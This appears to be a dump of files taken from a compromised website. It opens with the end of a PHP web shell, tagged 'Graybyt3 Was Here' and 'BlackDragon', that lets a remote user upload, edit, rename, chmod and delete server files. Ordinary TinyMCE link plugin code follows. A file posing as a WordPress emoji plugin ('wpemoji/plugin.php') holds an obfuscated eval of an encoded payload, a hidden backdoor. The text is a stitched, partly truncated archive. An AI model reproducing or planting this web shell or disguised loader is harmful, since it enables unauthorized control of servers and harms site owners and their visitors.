@posix_getgrgid(filegroup($item)); $dgrp = $dgrp['name']; } else { $dgrp = filegroup($item); } return $downer . '/' . $dgrp; } if (isset($_POST['newFolderName'])) { if ($func[29]($path . '/' . $_POST['newFolderName'])) { $func[16]("Create Folder Successfully!", "Success", "success", "?dir=$path"); } else { $func[16]("Create Folder Failed", "Failed", "error", "?dir=$path"); } } if (isset($_POST['newFileName']) && isset($_POST['newFileContent'])) { if ($func[4]($_POST['newFileName'], $_POST['newFileContent'])) { $func[16]("Create File Successfully!", "Success", "success", "?dir=$path"); } else { $func[16]("Create File Failed", "Failed", "error", "?dir=$path"); } } if (isset($_POST['newName']) && isset($_GET['item'])) { if ($_POST['newName'] == '') { $func[16]("You miss an important value", "Ooopss..", "warning", "?dir=$path"); } if ($func[30]($path. '/'. $_GET['item'], $_POST['newName'])) { $func[16]("Rename Successfully!", "Success", "success", "?dir=$path"); } else { $func[16]("Rename Failed", "Failed", "error", "?dir=$path"); } } if (isset($_POST['newContent']) && isset($_GET['item'])) { if ($func[4]($path. '/'. $_GET['item'], $_POST['newContent'])) { $func[16]("Edit Successfully!", "Success", "success", "?dir=$path"); } else { $func[16]("Edit Failed", "Failed", "error", "?dir=$path"); } } if (isset($_POST['newPerm']) && isset($_GET['item'])) { if ($_POST['newPerm'] == '') { $func[16]("You miss an important value", "Ooopss..", "warning", "?dir=$path"); } if (chmod($path. '/'. $_GET['item'], $_POST['newPerm'])) { $func[16]("Change Permission Successfully!", "Success", "success", "?dir=$path"); } else { $func[16]("Change Permission", "Failed", "error", "?dir=$path"); } } if (isset($_GET['action']) && $_GET['action'] == 'delete' && isset($_GET['item'])) { if (is_dir($_GET['item'])) { if ($func[27]($_GET['item'])) { $func[16]("Delete Successfully!", "Success", "success", "?dir=$path"); } else { $func[16]("Delete Failed", "Failed", "error", "?dir=$path"); } } else { if ($func[28]($_GET['item'])) { $func[16]("Delete Successfully!", "Success", "success", "?dir=$path"); } else { $func[16]("Delete Failed", "Failed", "error", "?dir=$path"); } } } if (isset($_FILES['uploadfile'])) { $total = count($_FILES['uploadfile']['name']); for ($i = 0; $i < $total; $i++) { $mainupload = $func[17]($_FILES['uploadfile']['tmp_name'][$i], $_FILES['uploadfile']['name'][$i]); } if ($total < 2) { if ($mainupload) { $func[16]("Upload File Successfully! ", "Success", "success", "?dir=$path"); } else { $func[16]("Upload Failed", "Failed", "error", "?dir=$path"); } } else{ if ($mainupload) { $func[16]("Upload $i Files Successfully! ", "Success", "success", "?dir=$path"); } else { $func[16]("Upload Failed", "Failed", "error", "?dir=$path"); } } } $dirs = $func[18]($path); ?> GOOGLE

Graybyt3 Was Here





*ReClick For Close
File : BlackDragon
Name Type Size Owner/Group Permission Last Modified Actions
-
© BlackDragon
link/plugin.js000060400000056711151734645250007357 0ustar00(function () { var link = (function (domGlobals) { 'use strict'; var global = tinymce.util.Tools.resolve('tinymce.PluginManager'); var global$1 = tinymce.util.Tools.resolve('tinymce.util.VK'); var assumeExternalTargets = function (editorSettings) { return typeof editorSettings.link_assume_external_targets === 'boolean' ? editorSettings.link_assume_external_targets : false; }; var hasContextToolbar = function (editorSettings) { return typeof editorSettings.link_context_toolbar === 'boolean' ? editorSettings.link_context_toolbar : false; }; var getLinkList = function (editorSettings) { return editorSettings.link_list; }; var hasDefaultLinkTarget = function (editorSettings) { return typeof editorSettings.default_link_target === 'string'; }; var getDefaultLinkTarget = function (editorSettings) { return editorSettings.default_link_target; }; var getTargetList = function (editorSettings) { return editorSettings.target_list; }; var setTargetList = function (editor, list) { editor.settings.target_list = list; }; var shouldShowTargetList = function (editorSettings) { return getTargetList(editorSettings) !== false; }; var getRelList = function (editorSettings) { return editorSettings.rel_list; }; var hasRelList = function (editorSettings) { return getRelList(editorSettings) !== undefined; }; var getLinkClassList = function (editorSettings) { return editorSettings.link_class_list; }; var hasLinkClassList = function (editorSettings) { return getLinkClassList(editorSettings) !== undefined; }; var shouldShowLinkTitle = function (editorSettings) { return editorSettings.link_title !== false; }; var allowUnsafeLinkTarget = function (editorSettings) { return typeof editorSettings.allow_unsafe_link_target === 'boolean' ? editorSettings.allow_unsafe_link_target : false; }; var Settings = { assumeExternalTargets: assumeExternalTargets, hasContextToolbar: hasContextToolbar, getLinkList: getLinkList, hasDefaultLinkTarget: hasDefaultLinkTarget, getDefaultLinkTarget: getDefaultLinkTarget, getTargetList: getTargetList, setTargetList: setTargetList, shouldShowTargetList: shouldShowTargetList, getRelList: getRelList, hasRelList: hasRelList, getLinkClassList: getLinkClassList, hasLinkClassList: hasLinkClassList, shouldShowLinkTitle: shouldShowLinkTitle, allowUnsafeLinkTarget: allowUnsafeLinkTarget }; var global$2 = tinymce.util.Tools.resolve('tinymce.dom.DOMUtils'); var global$3 = tinymce.util.Tools.resolve('tinymce.Env'); var appendClickRemove = function (link, evt) { domGlobals.document.body.appendChild(link); link.dispatchEvent(evt); domGlobals.document.body.removeChild(link); }; var open = function (url) { if (!global$3.ie || global$3.ie > 10) { var link = domGlobals.document.createElement('a'); link.target = '_blank'; link.href = url; link.rel = 'noreferrer noopener'; var evt = domGlobals.document.createEvent('MouseEvents'); evt.initMouseEvent('click', true, true, domGlobals.window, 0, 0, 0, 0, 0, false, false, false, false, 0, null); appendClickRemove(link, evt); } else { var win = domGlobals.window.open('', '_blank'); if (win) { win.opener = null; var doc = win.document; doc.open(); doc.write(''); doc.close(); } } }; var OpenUrl = { open: open }; var global$4 = tinymce.util.Tools.resolve('tinymce.util.Tools'); var toggleTargetRules = function (rel, isUnsafe) { var rules = ['noopener']; var newRel = rel ? rel.split(/\s+/) : []; var toString = function (rel) { return global$4.trim(rel.sort().join(' ')); }; var addTargetRules = function (rel) { rel = removeTargetRules(rel); return rel.length ? rel.concat(rules) : rules; }; var removeTargetRules = function (rel) { return rel.filter(function (val) { return global$4.inArray(rules, val) === -1; }); }; newRel = isUnsafe ? addTargetRules(newRel) : removeTargetRules(newRel); return newRel.length ? toString(newRel) : null; }; var trimCaretContainers = function (text) { return text.replace(/\uFEFF/g, ''); }; var getAnchorElement = function (editor, selectedElm) { selectedElm = selectedElm || editor.selection.getNode(); if (isImageFigure(selectedElm)) { return editor.dom.select('a[href]', selectedElm)[0]; } else { return editor.dom.getParent(selectedElm, 'a[href]'); } }; var getAnchorText = function (selection, anchorElm) { var text = anchorElm ? anchorElm.innerText || anchorElm.textContent : selection.getContent({ format: 'text' }); return trimCaretContainers(text); }; var isLink = function (elm) { return elm && elm.nodeName === 'A' && elm.href; }; var hasLinks = function (elements) { return global$4.grep(elements, isLink).length > 0; }; var isOnlyTextSelected = function (html) { if (/]+>[^<]+<\/a>$/.test(html) || html.indexOf('href=') === -1)) { return false; } return true; }; var isImageFigure = function (node) { return node && node.nodeName === 'FIGURE' && /\bimage\b/i.test(node.className); }; var link = function (editor, attachState) { return function (data) { editor.undoManager.transact(function () { var selectedElm = editor.selection.getNode(); var anchorElm = getAnchorElement(editor, selectedElm); var linkAttrs = { href: data.href, target: data.target ? data.target : null, rel: data.rel ? data.rel : null, class: data.class ? data.class : null, title: data.title ? data.title : null }; if (!Settings.hasRelList(editor.settings) && Settings.allowUnsafeLinkTarget(editor.settings) === false) { linkAttrs.rel = toggleTargetRules(linkAttrs.rel, linkAttrs.target === '_blank'); } if (data.href === attachState.href) { attachState.attach(); attachState = {}; } if (anchorElm) { editor.focus(); if (data.hasOwnProperty('text')) { if ('innerText' in anchorElm) { anchorElm.innerText = data.text; } else { anchorElm.textContent = data.text; } } editor.dom.setAttribs(anchorElm, linkAttrs); editor.selection.select(anchorElm); editor.undoManager.add(); } else { if (isImageFigure(selectedElm)) { linkImageFigure(editor, selectedElm, linkAttrs); } else if (data.hasOwnProperty('text')) { editor.insertContent(editor.dom.createHTML('a', linkAttrs, editor.dom.encode(data.text))); } else { editor.execCommand('mceInsertLink', false, linkAttrs); } } }); }; }; var unlink = function (editor) { return function () { editor.undoManager.transact(function () { var node = editor.selection.getNode(); if (isImageFigure(node)) { unlinkImageFigure(editor, node); } else { editor.execCommand('unlink'); } }); }; }; var unlinkImageFigure = function (editor, fig) { var a, img; img = editor.dom.select('img', fig)[0]; if (img) { a = editor.dom.getParents(img, 'a[href]', fig)[0]; if (a) { a.parentNode.insertBefore(img, a); editor.dom.remove(a); } } }; var linkImageFigure = function (editor, fig, attrs) { var a, img; img = editor.dom.select('img', fig)[0]; if (img) { a = editor.dom.create('a', attrs); img.parentNode.insertBefore(a, img); a.appendChild(img); } }; var Utils = { link: link, unlink: unlink, isLink: isLink, hasLinks: hasLinks, isOnlyTextSelected: isOnlyTextSelected, getAnchorElement: getAnchorElement, getAnchorText: getAnchorText, toggleTargetRules: toggleTargetRules }; var global$5 = tinymce.util.Tools.resolve('tinymce.util.Delay'); var global$6 = tinymce.util.Tools.resolve('tinymce.util.XHR'); var attachState = {}; var createLinkList = function (editor, callback) { var linkList = Settings.getLinkList(editor.settings); if (typeof linkList === 'string') { global$6.send({ url: linkList, success: function (text) { callback(editor, JSON.parse(text)); } }); } else if (typeof linkList === 'function') { linkList(function (list) { callback(editor, list); }); } else { callback(editor, linkList); } }; var buildListItems = function (inputList, itemCallback, startItems) { var appendItems = function (values, output) { output = output || []; global$4.each(values, function (item) { var menuItem = { text: item.text || item.title }; if (item.menu) { menuItem.menu = appendItems(item.menu); } else { menuItem.value = item.value; if (itemCallback) { itemCallback(menuItem); } } output.push(menuItem); }); return output; }; return appendItems(inputList, startItems || []); }; var delayedConfirm = function (editor, message, callback) { var rng = editor.selection.getRng(); global$5.setEditorTimeout(editor, function () { editor.windowManager.confirm(message, function (state) { editor.selection.setRng(rng); callback(state); }); }); }; var showDialog = function (editor, linkList) { var data = {}; var selection = editor.selection; var dom = editor.dom; var anchorElm, initialText; var win, onlyText, textListCtrl, linkListCtrl, relListCtrl, targetListCtrl, classListCtrl, linkTitleCtrl, value; var linkListChangeHandler = function (e) { var textCtrl = win.find('#text'); if (!textCtrl.value() || e.lastControl && textCtrl.value() === e.lastControl.text()) { textCtrl.value(e.control.text()); } win.find('#href').value(e.control.value()); }; var buildAnchorListControl = function (url) { var anchorList = []; global$4.each(editor.dom.select('a:not([href])'), function (anchor) { var id = anchor.name || anchor.id; if (id) { anchorList.push({ text: id, value: '#' + id, selected: url.indexOf('#' + id) !== -1 }); } }); if (anchorList.length) { anchorList.unshift({ text: 'None', value: '' }); return { name: 'anchor', type: 'listbox', label: 'Anchors', values: anchorList, onselect: linkListChangeHandler }; } }; var updateText = function () { if (!initialText && onlyText && !data.text) { this.parent().parent().find('#text')[0].value(this.value()); } }; var urlChange = function (e) { var meta = e.meta || {}; if (linkListCtrl) { linkListCtrl.value(editor.convertURL(this.value(), 'href')); } global$4.each(e.meta, function (value, key) { var inp = win.find('#' + key); if (key === 'text') { if (initialText.length === 0) { inp.value(value); data.text = value; } } else { inp.value(value); } }); if (meta.attach) { attachState = { href: this.value(), attach: meta.attach }; } if (!meta.text) { updateText.call(this); } }; var onBeforeCall = function (e) { e.meta = win.toJSON(); }; onlyText = Utils.isOnlyTextSelected(selection.getContent()); anchorElm = Utils.getAnchorElement(editor); data.text = initialText = Utils.getAnchorText(editor.selection, anchorElm); data.href = anchorElm ? dom.getAttrib(anchorElm, 'href') : ''; if (anchorElm) { data.target = dom.getAttrib(anchorElm, 'target'); } else if (Settings.hasDefaultLinkTarget(editor.settings)) { data.target = Settings.getDefaultLinkTarget(editor.settings); } if (value = dom.getAttrib(anchorElm, 'rel')) { data.rel = value; } if (value = dom.getAttrib(anchorElm, 'class')) { data.class = value; } if (value = dom.getAttrib(anchorElm, 'title')) { data.title = value; } if (onlyText) { textListCtrl = { name: 'text', type: 'textbox', size: 40, label: 'Text to display', onchange: function () { data.text = this.value(); } }; } if (linkList) { linkListCtrl = { type: 'listbox', label: 'Link list', values: buildListItems(linkList, function (item) { item.value = editor.convertURL(item.value || item.url, 'href'); }, [{ text: 'None', value: '' }]), onselect: linkListChangeHandler, value: editor.convertURL(data.href, 'href'), onPostRender: function () { linkListCtrl = this; } }; } if (Settings.shouldShowTargetList(editor.settings)) { if (Settings.getTargetList(editor.settings) === undefined) { Settings.setTargetList(editor, [ { text: 'None', value: '' }, { text: 'New window', value: '_blank' } ]); } targetListCtrl = { name: 'target', type: 'listbox', label: 'Target', values: buildListItems(Settings.getTargetList(editor.settings)) }; } if (Settings.hasRelList(editor.settings)) { relListCtrl = { name: 'rel', type: 'listbox', label: 'Rel', values: buildListItems(Settings.getRelList(editor.settings), function (item) { if (Settings.allowUnsafeLinkTarget(editor.settings) === false) { item.value = Utils.toggleTargetRules(item.value, data.target === '_blank'); } }) }; } if (Settings.hasLinkClassList(editor.settings)) { classListCtrl = { name: 'class', type: 'listbox', label: 'Class', values: buildListItems(Settings.getLinkClassList(editor.settings), function (item) { if (item.value) { item.textStyle = function () { return editor.formatter.getCssText({ inline: 'a', classes: [item.value] }); }; } }) }; } if (Settings.shouldShowLinkTitle(editor.settings)) { linkTitleCtrl = { name: 'title', type: 'textbox', label: 'Title', value: data.title }; } win = editor.windowManager.open({ title: 'Insert link', data: data, body: [ { name: 'href', type: 'filepicker', filetype: 'file', size: 40, autofocus: true, label: 'Url', onchange: urlChange, onkeyup: updateText, onpaste: updateText, onbeforecall: onBeforeCall }, textListCtrl, linkTitleCtrl, buildAnchorListControl(data.href), linkListCtrl, relListCtrl, targetListCtrl, classListCtrl ], onSubmit: function (e) { var assumeExternalTargets = Settings.assumeExternalTargets(editor.settings); var insertLink = Utils.link(editor, attachState); var removeLink = Utils.unlink(editor); var resultData = global$4.extend({}, data, e.data); var href = resultData.href; if (!href) { removeLink(); return; } if (!onlyText || resultData.text === initialText) { delete resultData.text; } if (href.indexOf('@') > 0 && href.indexOf('//') === -1 && href.indexOf('mailto:') === -1) { delayedConfirm(editor, 'The URL you entered seems to be an email address. Do you want to add the required mailto: prefix?', function (state) { if (state) { resultData.href = 'mailto:' + href; } insertLink(resultData); }); return; } if (assumeExternalTargets === true && !/^\w+:/i.test(href) || assumeExternalTargets === false && /^\s*www[\.|\d\.]/i.test(href)) { delayedConfirm(editor, 'The URL you entered seems to be an external link. Do you want to add the required http:// prefix?', function (state) { if (state) { resultData.href = 'http://' + href; } insertLink(resultData); }); return; } insertLink(resultData); } }); }; var open$1 = function (editor) { createLinkList(editor, showDialog); }; var Dialog = { open: open$1 }; var getLink = function (editor, elm) { return editor.dom.getParent(elm, 'a[href]'); }; var getSelectedLink = function (editor) { return getLink(editor, editor.selection.getStart()); }; var getHref = function (elm) { var href = elm.getAttribute('data-mce-href'); return href ? href : elm.getAttribute('href'); }; var isContextMenuVisible = function (editor) { var contextmenu = editor.plugins.contextmenu; return contextmenu ? contextmenu.isContextMenuVisible() : false; }; var hasOnlyAltModifier = function (e) { return e.altKey === true && e.shiftKey === false && e.ctrlKey === false && e.metaKey === false; }; var gotoLink = function (editor, a) { if (a) { var href = getHref(a); if (/^#/.test(href)) { var targetEl = editor.$(href); if (targetEl.length) { editor.selection.scrollIntoView(targetEl[0], true); } } else { OpenUrl.open(a.href); } } }; var openDialog = function (editor) { return function () { Dialog.open(editor); }; }; var gotoSelectedLink = function (editor) { return function () { gotoLink(editor, getSelectedLink(editor)); }; }; var leftClickedOnAHref = function (editor) { return function (elm) { var sel, rng, node; if (Settings.hasContextToolbar(editor.settings) && !isContextMenuVisible(editor) && Utils.isLink(elm)) { sel = editor.selection; rng = sel.getRng(); node = rng.startContainer; if (node.nodeType === 3 && sel.isCollapsed() && rng.startOffset > 0 && rng.startOffset < node.data.length) { return true; } } return false; }; }; var setupGotoLinks = function (editor) { editor.on('click', function (e) { var link = getLink(editor, e.target); if (link && global$1.metaKeyPressed(e)) { e.preventDefault(); gotoLink(editor, link); } }); editor.on('keydown', function (e) { var link = getSelectedLink(editor); if (link && e.keyCode === 13 && hasOnlyAltModifier(e)) { e.preventDefault(); gotoLink(editor, link); } }); }; var toggleActiveState = function (editor) { return function () { var self = this; editor.on('nodechange', function (e) { self.active(!editor.readonly && !!Utils.getAnchorElement(editor, e.element)); }); }; }; var toggleViewLinkState = function (editor) { return function () { var self = this; var toggleVisibility = function (e) { if (Utils.hasLinks(e.parents)) { self.show(); } else { self.hide(); } }; if (!Utils.hasLinks(editor.dom.getParents(editor.selection.getStart()))) { self.hide(); } editor.on('nodechange', toggleVisibility); self.on('remove', function () { editor.off('nodechange', toggleVisibility); }); }; }; var Actions = { openDialog: openDialog, gotoSelectedLink: gotoSelectedLink, leftClickedOnAHref: leftClickedOnAHref, setupGotoLinks: setupGotoLinks, toggleActiveState: toggleActiveState, toggleViewLinkState: toggleViewLinkState }; var register = function (editor) { editor.addCommand('mceLink', Actions.openDialog(editor)); }; var Commands = { register: register }; var setup = function (editor) { editor.addShortcut('Meta+K', '', Actions.openDialog(editor)); }; var Keyboard = { setup: setup }; var setupButtons = function (editor) { editor.addButton('link', { active: false, icon: 'link', tooltip: 'Insert/edit link', onclick: Actions.openDialog(editor), onpostrender: Actions.toggleActiveState(editor) }); editor.addButton('unlink', { active: false, icon: 'unlink', tooltip: 'Remove link', onclick: Utils.unlink(editor), onpostrender: Actions.toggleActiveState(editor) }); if (editor.addContextToolbar) { editor.addButton('openlink', { icon: 'newtab', tooltip: 'Open link', onclick: Actions.gotoSelectedLink(editor) }); } }; var setupMenuItems = function (editor) { editor.addMenuItem('openlink', { text: 'Open link', icon: 'newtab', onclick: Actions.gotoSelectedLink(editor), onPostRender: Actions.toggleViewLinkState(editor), prependToContext: true }); editor.addMenuItem('link', { icon: 'link', text: 'Link', shortcut: 'Meta+K', onclick: Actions.openDialog(editor), stateSelector: 'a[href]', context: 'insert', prependToContext: true }); editor.addMenuItem('unlink', { icon: 'unlink', text: 'Remove link', onclick: Utils.unlink(editor), stateSelector: 'a[href]' }); }; var setupContextToolbars = function (editor) { if (editor.addContextToolbar) { editor.addContextToolbar(Actions.leftClickedOnAHref(editor), 'openlink | link unlink'); } }; var Controls = { setupButtons: setupButtons, setupMenuItems: setupMenuItems, setupContextToolbars: setupContextToolbars }; global.add('link', function (editor) { Controls.setupButtons(editor); Controls.setupMenuItems(editor); Controls.setupContextToolbars(editor); Actions.setupGotoLinks(editor); Commands.register(editor); Keyboard.setup(editor); }); function Plugin () { } return Plugin; }(window)); })(); link/plugin.min.js000060400000021354151734645250010134 0ustar00!function(l){"use strict";var t=tinymce.util.Tools.resolve("tinymce.PluginManager"),n=tinymce.util.Tools.resolve("tinymce.util.VK"),e=function(t){return t.target_list},o=function(t){return t.rel_list},i=function(t){return t.link_class_list},p=function(t){return"boolean"==typeof t.link_assume_external_targets&&t.link_assume_external_targets},a=function(t){return"boolean"==typeof t.link_context_toolbar&&t.link_context_toolbar},r=function(t){return t.link_list},k=function(t){return"string"==typeof t.default_link_target},y=function(t){return t.default_link_target},b=e,_=function(t,e){t.settings.target_list=e},w=function(t){return!1!==e(t)},T=o,C=function(t){return o(t)!==undefined},M=i,O=function(t){return i(t)!==undefined},R=function(t){return!1!==t.link_title},N=function(t){return"boolean"==typeof t.allow_unsafe_link_target&&t.allow_unsafe_link_target},u=tinymce.util.Tools.resolve("tinymce.dom.DOMUtils"),c=tinymce.util.Tools.resolve("tinymce.Env"),s=function(t){if(!c.ie||10'),i.close()}}var r,a},A=tinymce.util.Tools.resolve("tinymce.util.Tools"),f=function(t,e){var n,o,i=["noopener"],r=t?t.split(/\s+/):[],a=function(t){return t.filter(function(t){return-1===A.inArray(i,t)})};return(r=e?(n=a(n=r)).length?n.concat(i):i:a(r)).length?(o=r,A.trim(o.sort().join(" "))):null},d=function(t,e){return e=e||t.selection.getNode(),v(e)?t.dom.select("a[href]",e)[0]:t.dom.getParent(e,"a[href]")},m=function(t){return t&&"A"===t.nodeName&&t.href},v=function(t){return t&&"FIGURE"===t.nodeName&&/\bimage\b/i.test(t.className)},g=function(t,e){var n,o;(o=t.dom.select("img",e)[0])&&(n=t.dom.getParents(o,"a[href]",e)[0])&&(n.parentNode.insertBefore(o,n),t.dom.remove(n))},h=function(t,e,n){var o,i;(i=t.dom.select("img",e)[0])&&(o=t.dom.create("a",n),i.parentNode.insertBefore(o,i),o.appendChild(i))},L=function(i,r){return function(o){i.undoManager.transact(function(){var t=i.selection.getNode(),e=d(i,t),n={href:o.href,target:o.target?o.target:null,rel:o.rel?o.rel:null,"class":o["class"]?o["class"]:null,title:o.title?o.title:null};C(i.settings)||!1!==N(i.settings)||(n.rel=f(n.rel,"_blank"===n.target)),o.href===r.href&&(r.attach(),r={}),e?(i.focus(),o.hasOwnProperty("text")&&("innerText"in e?e.innerText=o.text:e.textContent=o.text),i.dom.setAttribs(e,n),i.selection.select(e),i.undoManager.add()):v(t)?h(i,t,n):o.hasOwnProperty("text")?i.insertContent(i.dom.createHTML("a",n,i.dom.encode(o.text))):i.execCommand("mceInsertLink",!1,n)})}},P=function(e){return function(){e.undoManager.transact(function(){var t=e.selection.getNode();v(t)?g(e,t):e.execCommand("unlink")})}},x=m,E=function(t){return 0]+>[^<]+<\/a>$/.test(t)||-1===t.indexOf("href=")))},I=d,K=function(t,e){var n=e?e.innerText||e.textContent:t.getContent({format:"text"});return n.replace(/\uFEFF/g,"")},U=f,D=tinymce.util.Tools.resolve("tinymce.util.Delay"),B=tinymce.util.Tools.resolve("tinymce.util.XHR"),F={},q=function(t,o,e){var i=function(t,n){return n=n||[],A.each(t,function(t){var e={text:t.text||t.title};t.menu?e.menu=i(t.menu):(e.value=t.value,o&&o(e)),n.push(e)}),n};return i(t,e||[])},V=function(e,t,n){var o=e.selection.getRng();D.setEditorTimeout(e,function(){e.windowManager.confirm(t,function(t){e.selection.setRng(o),n(t)})})},z=function(a,t){var e,l,o,u,n,i,r,c,s,f,d,m={},v=a.selection,g=a.dom,h=function(t){var e=o.find("#text");(!e.value()||t.lastControl&&e.value()===t.lastControl.text())&&e.value(t.control.text()),o.find("#href").value(t.control.value())},x=function(){l||!u||m.text||this.parent().parent().find("#text")[0].value(this.value())};u=S(v.getContent()),e=I(a),m.text=l=K(a.selection,e),m.href=e?g.getAttrib(e,"href"):"",e?m.target=g.getAttrib(e,"target"):k(a.settings)&&(m.target=y(a.settings)),(d=g.getAttrib(e,"rel"))&&(m.rel=d),(d=g.getAttrib(e,"class"))&&(m["class"]=d),(d=g.getAttrib(e,"title"))&&(m.title=d),u&&(n={name:"text",type:"textbox",size:40,label:"Text to display",onchange:function(){m.text=this.value()}}),t&&(i={type:"listbox",label:"Link list",values:q(t,function(t){t.value=a.convertURL(t.value||t.url,"href")},[{text:"None",value:""}]),onselect:h,value:a.convertURL(m.href,"href"),onPostRender:function(){i=this}}),w(a.settings)&&(b(a.settings)===undefined&&_(a,[{text:"None",value:""},{text:"New window",value:"_blank"}]),c={name:"target",type:"listbox",label:"Target",values:q(b(a.settings))}),C(a.settings)&&(r={name:"rel",type:"listbox",label:"Rel",values:q(T(a.settings),function(t){!1===N(a.settings)&&(t.value=U(t.value,"_blank"===m.target))})}),O(a.settings)&&(s={name:"class",type:"listbox",label:"Class",values:q(M(a.settings),function(t){t.value&&(t.textStyle=function(){return a.formatter.getCssText({inline:"a",classes:[t.value]})})})}),R(a.settings)&&(f={name:"title",type:"textbox",label:"Title",value:m.title}),o=a.windowManager.open({title:"Insert link",data:m,body:[{name:"href",type:"filepicker",filetype:"file",size:40,autofocus:!0,label:"Url",onchange:function(t){var e=t.meta||{};i&&i.value(a.convertURL(this.value(),"href")),A.each(t.meta,function(t,e){var n=o.find("#"+e);"text"===e?0===l.length&&(n.value(t),m.text=t):n.value(t)}),e.attach&&(F={href:this.value(),attach:e.attach}),e.text||x.call(this)},onkeyup:x,onpaste:x,onbeforecall:function(t){t.meta=o.toJSON()}},n,f,function(n){var o=[];if(A.each(a.dom.select("a:not([href])"),function(t){var e=t.name||t.id;e&&o.push({text:e,value:"#"+e,selected:-1!==n.indexOf("#"+e)})}),o.length)return o.unshift({text:"None",value:""}),{name:"anchor",type:"listbox",label:"Anchors",values:o,onselect:h}}(m.href),i,r,c,s],onSubmit:function(t){var e=p(a.settings),n=L(a,F),o=P(a),i=A.extend({},m,t.data),r=i.href;r?(u&&i.text!==l||delete i.text,0]+data-wp-emoji="[^>]+>/g,function(e){var t=e.match(/alt="([^"]+)"/);return t&&t[1]?t[1]:e}))}),n.on("resolvename",function(e){"IMG"===e.target.nodeName&&n.dom.getAttrib(e.target,"data-wp-emoji")&&e.preventDefault()}))})}(window.tinymce);wpemoji/plugin.php000060400000035530151734645250010243 0ustar00ok<");};?> '; eval($Vtkra($VZDBO($jhGvm($fIeKd('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